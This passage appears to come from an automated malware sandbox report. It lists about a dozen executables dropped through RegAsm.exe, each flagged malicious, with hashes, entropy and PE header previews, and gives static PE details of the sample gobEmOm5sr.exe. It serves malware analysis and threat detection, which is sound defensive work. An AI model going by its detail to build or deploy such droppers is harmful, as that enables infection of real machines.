SSDEEP:	12288:1/WRdaNJO5iDHXpuTa86H0SWJfVMPJOqGYou7BBqCi7W1P:1/WRdH52q6HUBOkaDi7W1P
MD5:	F10161C3ACDE4B7DADCD1EEDDCF937F1
SHA1:	EBF47C2E0916FBC430DDC8A90CDD1FE98112F979
SHA-256:	445A933766BF381EBE8530E0795E22AB2BCCACE28291388ABA99808E101E8230
SHA-512:	5024F57F0BFF356120598E7FAA472C956D843D36A6D83D953C9A7345AEE36A14D216F1BDE61524A62A0DBA4CB4FAE4A67DCEFAA0B2E8FA5526DFC9A218E985D9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V.f................................. ........@.. .......................@............`.....................................K............................ ......X................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.........................................................................Q.Y...p..qV.{..0_....92.Nr..%..N.9.h..h.X.d/....K5w......}<.........#gV...=..._[.......vp..bs.P.....[....B....Y.....:E.(../1..%....l>.L......aD...R.<.(.;..R_.)~.4.W.Sl..I..A..D.(...[J..u..'.Q....yp...\..=..9G&..<5.u6`....t,.P...:..k..=6x.{c....q............X...`2.;L.JH..9c/........B%.s.....3.pv...A..O.%........)...2?w.w..%...ym.=..c.j&:S)._...G..j;l.-....Wv}.....M.3.....U.....P.l.c...

C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	331776
Entropy (8bit):	7.964230381568243
Encrypted:	false
SSDEEP:	6144:sPP5QJyXEJZq77hQ8ed1oBj32nQumiUdfg+CYnDNMhXYGenCnaW1qMJyky:cGJyX2EdQ8ed1K+Yfg+DDGYn4aW1TJyD
MD5:	E600B6015B0312B52214F459FCC6F3C2
SHA1:	0E763E33524E467B46D27E5F0603CD2165C47FED
SHA-256:	65BB6281D63AD091F8B6B4D0C460D9D6C1631FE141FE15B23DC6D23A41E094AD
SHA-512:	B1C1A68128C2CD75DF9CB1D890358FD6BB85D9A62288468A19DB3295CC25E6CB97C05FA0B5BC3B1DD2B88BD39B343CE5CD1494CA8AB56352C1E375E88FE7E464
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................."... ...@....@.. ....................................`.................................."..K....@.......................`......L"............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................."......H.......(&...............=...............................................0..].......+.(..OO~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(c..O(......N+.(D.<5(.....(.....+.(..QN(...........%.....(......... .........%.....(..........j+.(R.i[(.....(......(......0..4.......+.(e.bi....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	301608
Entropy (8bit):	7.955071519540768
Encrypted:	false
SSDEEP:	6144:RTdOxN3KvIKuzpHwR9WUoNAsWKGHgVmA5EO:jOwIKJR0NLSAf5EO
MD5:	20C0E4911043ACDF83CD6F5818060B6D
SHA1:	B38D5071947E729EA05CAA84958B515B53DA5DB6
SHA-256:	656C58153302A82BDC4994A170163628F1AEDD101B0EFE6471B5AF0D4173C1F5
SHA-512:	AECE9C46C5274E3660016D2795CCC0EAE9578FA40EC39679E8385398675FCFBC2D08D7ED105CBAFB75CED2224EE8E76720E2BF41D2C25F4A7992FA245B71543B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5.f.................h.............. ........@.. ....................................`.....................................K....................t..(&..........L................................................ ............... ..H............text....f... ...h.................. ..`.rsrc................j..............@..@.reloc...............r..............@..B........................H.......(&...............=...............................................0..].......+.(aG.0~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(..Vb(......N+.(..xD(.....(.....+.(...2(...........%.....(......... .$.......%.....(..........j+.(..(g(.....(......(......0..4.......+.(...h....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3607496
Entropy (8bit):	7.101982385528195
Encrypted:	false
SSDEEP:	49152:MYCkaqfKkUSztx7CU7XP6YINjwNxMgakj6TqZJbbbW6PJcF:MYCkatWveeX5IAxEkjw1F
MD5:	C4D092354C3F964EE1D9671F2517A6C9
SHA1:	838F3A4D426EA72C2F5CF8164F8FF4FC9E694A1B
SHA-256:	1814F8B1C1223B93E9B6AE699F7F8F25FB543AD511E349F39219A4EC222F4F05
SHA-512:	C162FF7F53B3A095E779369FB00546DC62DCADB4E394593B40522369ADD2532274232BAD920F5A65AB07636ED544BFCE239A42D959DFEA01C7C19E2BBFEDD5EE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8....................\&..........z&.. ....&...@.. ........................6.......7...@..................................y&.K.....&..............J6.......6......y&.............................................. ............... ..H............text...4Z&.. ...\&................. ..`.sdata........&......`&.............@....rsrc.........&......d&.............@..@.reloc........6......H6.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6535168
Entropy (8bit):	6.4528704461092055
Encrypted:	false
SSDEEP:	49152:n+7S4ol3ok8PfHvlCyLFT3+trvK4oUZOjrOvKEfRMc4gjSlgVbAxhcApTzaYhEqM:+7/ol8/lNx+ArOE6VbAxhJpTWcV6
MD5:	0DE88C2F978A57026E58E6CA90AE5D69
SHA1:	E066A32F87292B1C50BCEC3064E76F4FC0781D1A
SHA-256:	FAB479CC1E503225BE39C710A3555DB1AE1F6D6ACFB0504B715D2284F75E3527
SHA-512:	47FD6CDD95E6D08C59340B4E00FE97C4BB987CD2C11628DEDA02CD59C5739E990F9C94FADCA37E4B7C8ADB9CAFBAE12B69F20B569457078C159BBCB180F9163F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........b..............V..........0+........\...@...........................f......d...@...................................b.L....Pe..%....................c..=....................................................\..............................text....U.......V.................. ..`.rdata..."...p...$...Z..............@..@.data...@G....\......~\.............@....idata..L.....b......L`.............@....reloc...=....c..>...R`.............@..B.symtab......@e.......b................B.rsrc....%...Pe..&....b.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14748160
Entropy (8bit):	5.890118791520016
Encrypted:	false
SSDEEP:	98304:YrVuOrsnJc5nIsvSutn0RejfWlvmSN1BM9lu9vQ1MeLYVqita:NZU0RplJeLet
MD5:	EF210F3D8E05ECAFD8D41A98B5806218
SHA1:	90AD9BA808225F2F3B6AC61F73662D332F4D5C7A
SHA-256:	AFA3196B3C2D0CC7BC921D98D60409D043F7C93CB760C30DBD691A20FA4B1E71
SHA-512:	78184D1F03C4963755EF7C954D67B8F4C5C024EFEF53F5F763D040835139CEB5E13BF8A4DB0CEDE9AC02342A6DE89B0EC166B31E6CC35A9442B4C2A0DB30C0D3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........4................`..........\|.......@....@.................................VU....@.....................................L...............................\...................................................@V...............................text...(.`.......`................. ..`.rdata..,.p...`...p...`.............@..@.data....w...@....... ..............@....idata..L............2..............@....reloc..\............8..............@..B.symtab..............4.................B.rsrc................6..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3443448
Entropy (8bit):	7.997758813389609
Encrypted:	true
SSDEEP:	98304:x4Z9IbHIz49/nxOC/7MIKkRhJWXHiOgNyD4:gIbHIz6nxt/7MG/Jwiw4
MD5:	6B974C3C8790EC1BD9CC7403CCA3D1BA
SHA1:	C288051FE2B445AB94F7230C700A262D1862330A
SHA-256:	335ADC172E24635E46E8AC640A099A45A350BC8CDA42EA7D578B5E272DC66CD3
SHA-512:	98F71871972D57688991574609909FB02AA0D100394F05656753BC294EC858D280EAA073423B5FEC3A8495DA168B261AEACA87C79D038EA03DE00C98EFB77B5C
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@.......x5..........@..............................P........,...........k4.X...........................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	222248
Entropy (8bit):	7.927546681662511
Encrypted:	false
SSDEEP:	6144:uU3UF1eC8Wi6Pu9phEjA0s63EPjjxnXUoM/AgvzEO:Kn8vr8PHEPjjxX6LvzEO
MD5:	B81AC0BD6737ADC5D296E9D86491D9F4
SHA1:	D03EBB99EC66922AFDE8DB9D215951CDC0EFB4E1
SHA-256:	67E2D5803B527DF56D0C9CEDE90C29AEECFD0B3910D45FBD46C26E6CBF0E8A89
SHA-512:	5894B140EC2E40B070A5D116D8D021AAB9E675F1280924B9B6D9545D8B2C2DFEB96B6CC8AD60B396EBF6EF4B946AA76ADDBD2D15CF97E5248976394B8D6068BA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....0.f.................2...........P... ...`....@.. ....................................`..................................P..K....`...............>..(&..........LP............................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............<..............@..B.................P......H.......(&...............=...............................................0..].......+.(..P]~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...6+.(3..3(......N+.(.i#R(.....(.....+.(...g(...........%.....(......... .........%.....(..........j+.(.F7S(.....(......(......0..4.......+.(..BY....8......o......(......X...o....?....(.....0..K....... .......... ............8.......(..... ..... &.S!.. .b4... ni.... .-.a.. .Da... 0.1].. ..jt.. .

C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:	98304:yvOB51QmIWth3e1PTbEYBkQyShbkqdwOyAuYJvdVuWFY:y+51/Iqh3e1PTbE7QbCqeYbM8
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1792000
Entropy (8bit):	7.944125085919487
Encrypted:	false
SSDEEP:	49152:2uusp5JHXxIG5Fu8ixkzSEjoqWikq1j8m:eEJ3xIG7u8pzxo/
MD5:	B914F31B2599675CB8A7AC4C9262ECD8
SHA1:	00823733CCA7494E9EAB8683B24CCEEF06B9FB8E
SHA-256:	F0947EAFF9837140AF164952D5FF422E3F9E35CEA5C85A67709FB97638D03F12
SHA-512:	CE490F5A9EF7B23AE352EB735B53846A1A07272DE7F291E63D464FDA61A26B771BAB063214E5EA007DD83B4A5FA16B7248FF01B39DA43D95989D724625F96D57
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"......Ph...........@...........................h...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .P*...$......N..............@...lxojhmjk.....PN......P..............@...mdoopayt.....@h......2..............@....taggant.0...Ph.."...6..............@...................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3851776
Entropy (8bit):	7.219526676113136
Encrypted:	false
SSDEEP:	49152:3JawLbHv2lgbLsuyYHlt8Ui4fhn5IjD0iCT:3XbH573t8aZ5
MD5:	68EBCC4AD727C077AEB5CC60B868E304
SHA1:	255944DC0D24D22DFA36613C2B68AA81070AF1C5
SHA-256:	D83C67E9AAC5D88DA1C30AB4D05BB0AD08358532D298E8CF60B9D8798C262CE4
SHA-512:	ADF77B744A294512FD1E448C91E4B9520389E3F6781C2A2E8B07F71AC0C7D606C54208A5741F6DB0B33E7AE3235E4E458835B931C41F251D2AFDDE71BD9ED7F9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....83...................)...........).. .......@.. ....................... ;...........@.................................P.).K.... .......................;.......).............................................. ............... ..H............text.....).. ....)................. ..`.sdata...............).............@....rsrc........ .......).............@..@.reloc........;.......:.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.469023349235972
Encrypted:	false
SSDEEP:	6144:YIXfpi67eLPU9skLmb0b4JWSPKaJG8nAgejZMMhA2gX4WABl0uN8dwBCswSb+:NXD94JWlLZMM6YFH2++
MD5:	79AE5DABDA836234D8B8C4E7E28D0F46
SHA1:	8CE8D658AC5F75B8255B66870F6070309396DA91
SHA-256:	14EE7E53EF2483F8564A47643C96EC3453A419AE17AE7679D6216E146ABE5852
SHA-512:	FF015D609DEA76F8B780EB874EE243E9EFF8A7E5D73DCFE8164C7275B343431C7A04F6546F995AF056FFB3DD5D8E6FB95C2EBD6E1ACFE51722E422995F46E4C0
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.I.s$...............................................................................................................................................................................................................................................................................................................................................d#.G........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.2033284682645
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.69% Win32 Executable (generic) a (10002005/4) 49.64% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% InstallShield setup (43055/19) 0.21% Windows Screen Saver (13104/52) 0.07%
File name:	gobEmOm5sr.exe
File size:	7'097'856 bytes
MD5:	1f389ef6dac9971fef4bad14b3514c26
SHA1:	47e2bfe623d17b4272958a1546dc459695d6d134
SHA256:	65e67f728f8f7694f68156ad4ed80825739968701ea1535291d489ef3dbebe06
SHA512:	b2696d933f9fcd6fb3d711babb6e82c3067d43e8c4403e5572c2c8252f2ababeea3043f116f8136a51e55c32bdf8ec5f29687768733c2e7a51cb1dc3379e05aa
SSDEEP:	98304:yxSjQ7XLOGBbLKfeRNyFwONIgv0i6FSDoNBP5:yxSM7XLOEIeT7Bi1DG
TLSH:	FF668C037A55DA0EC06E5236CD8F481447EDEC066752DF2B799DBAAC28D13A22D0F5CE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........................e.........^.e.. ....e...@.. ........................l.....-.m...@................................

File Icon


Icon Hash:	2e07131f634d6d1a

Static PE Info

General

Entrypoint:	0xa5b85e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xCFD7C7EE [Mon Jul 1 02:05:34 2080 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x65b810	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x65e000	0x6a46e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6ca000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x65b7be	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x659864	0x659a00	476434ab47dd398d4cfc38e4e3022b85	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0x65c000	0x720	0x800	a657a069144dbf1cce8370704ccfb498	False	0.34033203125	data	3.5966263976156285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x65e000	0x6a46e	0x6a600	c20929e67f01ceb8d11bc2ffa8ad853d	False	0.4377363946827262	data	6.651313151080918	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6ca000	0xc	0x200	4b957499f5a00a1ddd0bbfaf806df25f	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
GIF	0x65efdc	0x339f	GIF image data, version 89a, 350 x 624	English	United States	0.9129020052970109
PNG	0x66237c	0x39ed	PNG image data, 360 x 150, 8-bit/color RGBA, non-interlaced			0.9975723244992919
PNG	0x665d6c	0x2fc9	PNG image data, 240 x 227, 8-bit/color RGBA, non-interlaced			0.9968119022316685
REGISTRY	0x668d38	0x26c	ASCII text, with CRLF line terminators			0.5451612903225806
REGISTRY	0x668fa4	0xc2	ASCII text, with CRLF line terminators			0.7268041237113402
TYPELIB	0x669068	0x1fdc	data	English	United States	0.35544384502206966
RT_BITMAP	0x66b044	0x14220	Device independent bitmap graphic, 220 x 370 x 8, image size 81400			0.34390764454792394
RT_BITMAP	0x67f264	0x666	Device independent bitmap graphic, 96 x 16 x 8, image size 1538, resolution 2868 x 2868 px/m, 15 important colors	English	United States	0.18192918192918192
RT_BITMAP	0x67f8cc	0x1b5c	Device independent bitmap graphic, 180 x 75 x 4, image size 6900			0.18046830382638493
RT_BITMAP	0x681428	0x38e4	Device independent bitmap graphic, 180 x 75 x 8, image size 13500			0.26689096402087337
RT_BITMAP	0x684d0c	0x1238	Device independent bitmap graphic, 60 x 60 x 8, image size 3600			0.23499142367066894
RT_BITMAP	0x685f44	0x6588	Device independent bitmap graphic, 161 x 152 x 8, image size 24928, resolution 3796 x 3796 px/m, 256 important colors			0.3035934133579563
RT_BITMAP	0x68c4cc	0x11f88	Device independent bitmap graphic, 161 x 152 x 24, image size 73568, resolution 3780 x 3780 px/m			0.12790729268557766
RT_ICON	0x69e454	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m			0.7322695035460993
RT_ICON	0x69e8bc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m			0.5471388367729831
RT_ICON	0x69f964	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m			0.4379668049792531
RT_ICON	0x6a1f0c	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m			0.38598252243741143
RT_ICON	0x6a6134	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m			0.28874364131077723
RT_ICON	0x6b695c	0xd8b4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9984317542721177
RT_DIALOG	0x6c4210	0xb8	data	English	United States	0.6467391304347826
RT_DIALOG	0x6c42c8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x6c440c	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x6c4548	0x100	data	English	United States	0.5234375
RT_DIALOG	0x6c4648	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x6c4764	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x6c4828	0x60	data	English	United States	0.7291666666666666
RT_DIALOG	0x6c4888	0xa0	data	English	United States	0.6
RT_DIALOG	0x6c4928	0x10c	data	English	United States	0.5111940298507462
RT_DIALOG	0x6c4a34	0x1ee	data	English	United States	0.3866396761133603
RT_DIALOG	0x6c4c24	0xe4	data	English	United States	0.6359649122807017
RT_DIALOG	0x6c4d08	0xda	data	English	United States	0.6376146788990825
RT_DIALOG	0x6c4de4	0xa4	data	English	United States	0.6158536585365854
RT_DIALOG	0x6c4e88	0x110	data	English	United States	0.5183823529411765
RT_DIALOG	0x6c4f98	0x1f2	data	English	United States	0.39759036144578314
RT_DIALOG	0x6c518c	0xe8	data	English	United States	0.6508620689655172
RT_DIALOG	0x6c5274	0xde	data	English	United States	0.6486486486486487
RT_DIALOG	0x6c5354	0xac	data	English	United States	0.6337209302325582
RT_DIALOG	0x6c5400	0x118	data	English	United States	0.5321428571428571
RT_DIALOG	0x6c5518	0x1fa	data	English	United States	0.40118577075098816
RT_DIALOG	0x6c5714	0xf0	data	English	United States	0.6666666666666666
RT_DIALOG	0x6c5804	0xe6	data	English	United States	0.6565217391304348
RT_DIALOG	0x6c58ec	0xa0	data	English	United States	0.60625
